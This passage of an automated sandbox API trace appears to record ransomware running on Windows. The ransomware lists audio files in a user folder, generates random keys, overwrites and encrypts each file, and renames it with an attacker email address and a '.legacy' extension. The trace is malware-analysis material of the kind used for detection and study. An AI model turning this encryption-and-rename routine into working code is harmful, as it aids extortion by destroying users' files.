returned 1 [0118.370] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.370] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0118.370] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0118.370] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d088 | out: hHeap=0x520000) returned 1 [0118.370] FindNextFileW (in: hFindFile=0x566ed8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf389f4a0, ftCreationTime.dwHighDateTime=0x1d4c72c, ftLastAccessTime.dwLowDateTime=0xa7c39300, ftLastAccessTime.dwHighDateTime=0x1d4cd35, ftLastWriteTime.dwLowDateTime=0xa7c39300, ftLastWriteTime.dwHighDateTime=0x1d4cd35, nFileSizeHigh=0x0, nFileSizeLow=0x1892a, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ki1g5jX8sFk.m4a", cAlternateFileName="KI1G5J~1.M4A")) returned 1 [0118.370] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0118.370] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0118.370] GetLastError () returned 0x0 [0118.370] SetLastError (dwErrCode=0x0) [0118.370] GetLastError () returned 0x0 [0118.370] SetLastError (dwErrCode=0x0) [0118.370] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.370] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0118.371] GetLastError () returned 0x0 [0118.371] SetLastError (dwErrCode=0x0) [0118.371] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d320 [0118.371] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d320 | out: hHeap=0x520000) returned 1 [0118.371] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5566a8 [0118.371] FindNextFileW (in: hFindFile=0x566ed8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3c4e76b, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd3c4e76b, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd3c4e76b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0118.371] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.371] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0118.371] GetLastError () returned 0x0 [0118.371] SetLastError (dwErrCode=0x0) [0118.371] GetLastError () returned 0x0 [0118.371] SetLastError (dwErrCode=0x0) [0118.371] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.371] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0118.371] GetLastError () returned 0x0 [0118.372] SetLastError (dwErrCode=0x0) [0118.372] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d398 [0118.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d398 | out: hHeap=0x520000) returned 1 [0118.372] FindNextFileW (in: hFindFile=0x566ed8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c0cf840, ftCreationTime.dwHighDateTime=0x1d4d023, ftLastAccessTime.dwLowDateTime=0xb936ac10, ftLastAccessTime.dwHighDateTime=0x1d4d16f, ftLastWriteTime.dwLowDateTime=0xb936ac10, ftLastWriteTime.dwHighDateTime=0x1d4d16f, nFileSizeHigh=0x0, nFileSizeLow=0x13f1f, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="VviRV5q.mp3", cAlternateFileName="")) returned 1 [0118.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.372] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578650 [0118.372] GetLastError () returned 0x0 [0118.372] SetLastError (dwErrCode=0x0) [0118.372] GetLastError () returned 0x0 [0118.372] SetLastError (dwErrCode=0x0) [0118.372] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578650 | out: hHeap=0x520000) returned 1 [0118.372] GetLastError () returned 0x0 [0118.372] SetLastError (dwErrCode=0x0) [0118.372] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d550 [0118.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d550 | out: hHeap=0x520000) returned 1 [0118.373] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d500 [0118.373] FindNextFileW (in: hFindFile=0x566ed8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f73fb60, ftCreationTime.dwHighDateTime=0x1d4c614, ftLastAccessTime.dwLowDateTime=0x49fcf2a0, ftLastAccessTime.dwHighDateTime=0x1d4d4da, ftLastWriteTime.dwLowDateTime=0x49fcf2a0, ftLastWriteTime.dwHighDateTime=0x1d4d4da, nFileSizeHigh=0x0, nFileSizeLow=0x5c43, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="WAUNmDL.mp3", cAlternateFileName="")) returned 1 [0118.373] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.373] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0118.373] GetLastError () returned 0x0 [0118.373] SetLastError (dwErrCode=0x0) [0118.373] GetLastError () returned 0x0 [0118.373] SetLastError (dwErrCode=0x0) [0118.373] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.373] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0118.373] GetLastError () returned 0x0 [0118.373] SetLastError (dwErrCode=0x0) [0118.373] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d320 [0118.373] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d320 | out: hHeap=0x520000) returned 1 [0118.373] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56cfd8 [0118.373] FindNextFileW (in: hFindFile=0x566ed8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2e5f2b0, ftCreationTime.dwHighDateTime=0x1d4c624, ftLastAccessTime.dwLowDateTime=0x5fb8ad70, ftLastAccessTime.dwHighDateTime=0x1d4c632, ftLastWriteTime.dwLowDateTime=0x5fb8ad70, ftLastWriteTime.dwHighDateTime=0x1d4c632, nFileSizeHigh=0x0, nFileSizeLow=0x10e5c, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="zwnicmJ7nmg.wav", cAlternateFileName="ZWNICM~1.WAV")) returned 1 [0118.374] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578608 [0118.374] GetLastError () returned 0x0 [0118.374] SetLastError (dwErrCode=0x0) [0118.374] GetLastError () returned 0x0 [0118.374] SetLastError (dwErrCode=0x0) [0118.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0118.374] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 1 [0118.374] GetLastError () returned 0x0 [0118.374] SetLastError (dwErrCode=0x0) [0118.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d320 [0118.374] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d320 | out: hHeap=0x520000) returned 1 [0118.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0118.374] FindNextFileW (in: hFindFile=0x566ed8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2e5f2b0, ftCreationTime.dwHighDateTime=0x1d4c624, ftLastAccessTime.dwLowDateTime=0x5fb8ad70, ftLastAccessTime.dwHighDateTime=0x1d4c632, ftLastWriteTime.dwLowDateTime=0x5fb8ad70, ftLastWriteTime.dwHighDateTime=0x1d4c632, nFileSizeHigh=0x0, nFileSizeLow=0x10e5c, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="zwnicmJ7nmg.wav", cAlternateFileName="ZWNICM~1.WAV")) returned 0 [0118.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556a50 [0118.375] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3be8 [0118.375] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0118.375] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0118.375] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0118.375] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\zwnicmJ7nmg.wav", dwFileAttributes=0x80) returned 1 [0118.375] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556848 [0118.375] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41e68 [0118.375] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556848 | out: hHeap=0x520000) returned 1 [0118.375] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\zwnicmJ7nmg.wav" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\zwnicmj7nmg.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c0 [0118.376] GetFileSizeEx (in: hFile=0x6c0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69212) returned 1 [0118.376] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10e5c) returned 0x60abe0 [0118.376] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10e5c) returned 0x2e41f30 [0118.376] ReadFile (in: hFile=0x6c0, lpBuffer=0x60abe0, nNumberOfBytesToRead=0x10e5c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60abe0*, lpNumberOfBytesRead=0x2e1f9bc*=0x10e5c, lpOverlapped=0x0) returned 1 [0118.378] SetFilePointer (in: hFile=0x6c0, lDistanceToMove=-69212, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.378] WriteFile (in: hFile=0x6c0, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0x10e5c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10e5c, lpOverlapped=0x0) returned 1 [0118.378] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60abe0 | out: hHeap=0x520000) returned 1 [0118.378] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0118.378] SetFilePointer (in: hFile=0x6c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10e5c [0118.379] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.379] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.379] WriteFile (in: hFile=0x6c0, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.379] WriteFile (in: hFile=0x6c0, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.379] CloseHandle (hObject=0x6c0) returned 1 [0118.379] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3be8 | out: hHeap=0x520000) returned 1 [0118.379] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0118.380] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\zwnicmJ7nmg.wav" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\zwnicmj7nmg.wav"), lpNewFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\zwnicmJ7nmg.wav.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\zwnicmj7nmg.wav.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.385] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41e68 | out: hHeap=0x520000) returned 1 [0118.385] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556a50 | out: hHeap=0x520000) returned 1 [0118.385] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0118.385] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d660 [0118.385] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0118.385] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3428 [0118.385] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0118.385] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0118.385] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\WAUNmDL.mp3", dwFileAttributes=0x80) returned 1 [0118.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d348 [0118.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41db0 [0118.386] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0118.386] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\WAUNmDL.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\waunmdl.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c0 [0118.386] GetFileSizeEx (in: hFile=0x6c0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=23619) returned 1 [0118.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x5c43) returned 0x60abe0 [0118.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x5c43) returned 0x610830 [0118.386] ReadFile (in: hFile=0x6c0, lpBuffer=0x60abe0, nNumberOfBytesToRead=0x5c43, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60abe0*, lpNumberOfBytesRead=0x2e1f9bc*=0x5c43, lpOverlapped=0x0) returned 1 [0118.387] SetFilePointer (in: hFile=0x6c0, lDistanceToMove=-23619, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.387] WriteFile (in: hFile=0x6c0, lpBuffer=0x610830*, nNumberOfBytesToWrite=0x5c43, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x610830*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5c43, lpOverlapped=0x0) returned 1 [0118.388] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60abe0 | out: hHeap=0x520000) returned 1 [0118.388] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610830 | out: hHeap=0x520000) returned 1 [0118.388] SetFilePointer (in: hFile=0x6c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5c43 [0118.388] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.388] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.388] WriteFile (in: hFile=0x6c0, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.388] WriteFile (in: hFile=0x6c0, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.388] CloseHandle (hObject=0x6c0) returned 1 [0118.389] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0118.389] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3428 | out: hHeap=0x520000) returned 1 [0118.389] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\WAUNmDL.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\waunmdl.mp3"), lpNewFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\WAUNmDL.mp3.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\waunmdl.mp3.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.391] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41db0 | out: hHeap=0x520000) returned 1 [0118.391] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d660 | out: hHeap=0x520000) returned 1 [0118.391] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0118.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56cfd8 [0118.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0118.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0118.391] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0118.391] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0118.391] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\VviRV5q.mp3", dwFileAttributes=0x80) returned 1 [0118.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d710 [0118.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41230 [0118.391] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d710 | out: hHeap=0x520000) returned 1 [0118.392] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\VviRV5q.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\vvirv5q.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c0 [0118.392] GetFileSizeEx (in: hFile=0x6c0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=81695) returned 1 [0118.392] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x13f1f) returned 0x60abe0 [0118.392] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x13f1f) returned 0x2e41f30 [0118.392] ReadFile (in: hFile=0x6c0, lpBuffer=0x60abe0, nNumberOfBytesToRead=0x13f1f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60abe0*, lpNumberOfBytesRead=0x2e1f9bc*=0x13f1f, lpOverlapped=0x0) returned 1 [0118.394] SetFilePointer (in: hFile=0x6c0, lDistanceToMove=-81695, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.394] WriteFile (in: hFile=0x6c0, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0x13f1f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x13f1f, lpOverlapped=0x0) returned 1 [0118.395] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60abe0 | out: hHeap=0x520000) returned 1 [0118.395] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0118.395] SetFilePointer (in: hFile=0x6c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x13f1f [0118.395] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.395] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.395] WriteFile (in: hFile=0x6c0, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.396] WriteFile (in: hFile=0x6c0, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.396] CloseHandle (hObject=0x6c0) returned 1 [0118.396] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0118.396] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0118.396] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\VviRV5q.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\vvirv5q.mp3"), lpNewFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\VviRV5q.mp3.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\vvirv5q.mp3.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.398] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41230 | out: hHeap=0x520000) returned 1 [0118.398] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0118.398] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d500 | out: hHeap=0x520000) returned 1 [0118.398] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556a50 [0118.398] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3be8 [0118.398] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0118.398] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0118.398] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0118.398] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\ki1g5jX8sFk.m4a", dwFileAttributes=0x80) returned 1 [0118.399] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0118.399] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41960 [0118.399] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0118.399] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\ki1g5jX8sFk.m4a" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\ki1g5jx8sfk.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c0 [0118.399] GetFileSizeEx (in: hFile=0x6c0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=100650) returned 1 [0118.399] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1892a) returned 0x2e41f30 [0118.399] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1892a) returned 0x2e5a868 [0118.400] ReadFile (in: hFile=0x6c0, lpBuffer=0x2e41f30, nNumberOfBytesToRead=0x1892a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesRead=0x2e1f9bc*=0x1892a, lpOverlapped=0x0) returned 1 [0118.403] SetFilePointer (in: hFile=0x6c0, lDistanceToMove=-100650, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.403] WriteFile (in: hFile=0x6c0, lpBuffer=0x2e5a868*, nNumberOfBytesToWrite=0x1892a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e5a868*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1892a, lpOverlapped=0x0) returned 1 [0118.404] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0118.406] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e5a868 | out: hHeap=0x520000) returned 1 [0118.408] SetFilePointer (in: hFile=0x6c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1892a [0118.408] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: 